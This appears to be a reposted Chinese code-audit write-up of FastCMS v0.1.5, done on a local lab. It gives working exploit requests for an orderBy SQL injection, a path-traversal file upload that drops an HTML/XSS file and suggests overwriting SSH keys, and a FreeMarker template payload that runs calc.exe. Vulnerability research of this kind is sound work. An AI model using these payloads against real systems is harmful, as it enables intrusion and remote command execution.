FastcmsV0.1.5代码审计
作者:1357685890793137
https://xz.aliyun.com/news/91367
文章转载自 先知社区
源码:https://gitee.com/xjd2020/fastcms/tree/v0.1.5-release
导入sql数据,修改配置文件src/main/resources/application-prod.yml

pom.xml依赖mybatis,对于mybatis审计,全局搜索${与#{




ArticleCommentMapper.xml中多次引用,搜索下pageArticleComment被调用位置,到ArticleCommentMapper.java,三处用法

跟进pageArticleComment,到ArticleCommentServiceImpl.java,共三处用法

跟进第一处到ArticleController.java
使用queryWrapper构建SQl,会对参数:author、content、isParent进行预编译绑定,不存在SQL注入

第二处到ArticleCommentApi.java
与第一处一样,使用queryWrapper构建SQl

来到第三处ArticleCommentApi.java
articleId参数为Long型:非法字符串(如 1 or 1=1)会直接400参数转换失败,无法以字符串形式进入SQL层

继续看其他xml文件

在此位置中

查询调用位置,发现ArticleApi.java处调用并使用orderby,而Mybatis中orderby语句无法预编译处理

文章列表处抓包

添加参数orderBy
GET /fastcms/api/client/article/list?pageNum=1&pageSize=10&title=&orderBy=1* HTTP/1.1
Host: localhost:8080
sec-ch-ua-platform: "Windows"
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiIiwidXNlcklkIjoyLCJ1c2VybmFtZSI6InRlc3QiLCJleHAiOjE3NjkwMjkxNDh9.YziRfkM-Z8G7qc9isj3Xewlp83DNc3aQiU2Yg4oBz0o
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="143", "Not A(Brand";v="24"
ClientId: f3757f74316145ababe591c3da609e2c
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/fastcms.html
Accept-Encoding: gzip, deflate, br
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1768888115; Hm_lvt_f8cddee34ca21f05373a9388cfdd798b=1769010004; Hm_lpvt_f8cddee34ca21f05373a9388cfdd798b=1769010004; HMACCOUNT=16B5D6F8F848312F
Connection: keep-alive
成功sql注入

搜索危险函数

如果dirName参数为空或者存在..路径遍历符号就返回错误
再往后就是获取路径

创建file对象,templatePath路径+文件名
漏洞点在于拼接原文件名

跟进FileUtils函数,看传限制后缀规则

public static String getSuffix(String fileName) {
if (fileName != null && fileName.contains(".")) {
return fileName.substring(fileName.lastIndexOf(".")); // 漏洞:只取最后一个点之后的部分,可被双重扩展名绕过
}
return ""; // 漏洞:无扩展名返回空字符串
}file.getOriginalFilename() // 直接使用原始文件名,未做路径遍历检查,未做规范化处理其他shell马无法解析,利用思路:linux中替换上级目录ssh密钥连接
例:前台找到上传点

成功跨目录上传
POST /fastcms/api/admin/template/files/upload HTTP/1.1
Host: localhost:8080
Accept: */*
sec-ch-ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"
Authorization: eyJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiMSIsInVzZXJJZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsImV4cCI6MTc2OTA3MTMyNH0.MhFVYqU18OUuF10x1Ms3Hh1AhqEdSjpP1znfoy-mXOg
Sec-Fetch-Site: same-origin
Origin: http://localhost:8080
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-mobile: ?0
Sec-Fetch-Dest: empty
sec-ch-ua-platform: "Windows"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1NWIdAJQxBDi7HkA
Sec-Fetch-Mode: cors
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Referer: http://localhost:8080/fastcms.html
Content-Length: 469
------WebKitFormBoundary1NWIdAJQxBDi7HkA
Content-Disposition: form-data; name="dirName"
cms
------WebKitFormBoundary1NWIdAJQxBDi7HkA
Content-Disposition: form-data; name="files"; filename="../../../../../../xss.html"
Content-Type: text/html
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8">
<script type="text/javascript">
alert("testxss");
</script>
</head>
<body>
</body>
</html>
------WebKitFormBoundary1NWIdAJQxBDi7HkA--

相关cve
引用freemarker包,maven外部库版本2.3.31

搜索使用Freemarker模板引擎的代码template.process,存在引用,没有限制解析类函数

后台模板编辑界面index.html写入payload,保存
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
前台刷新,成功执行命令
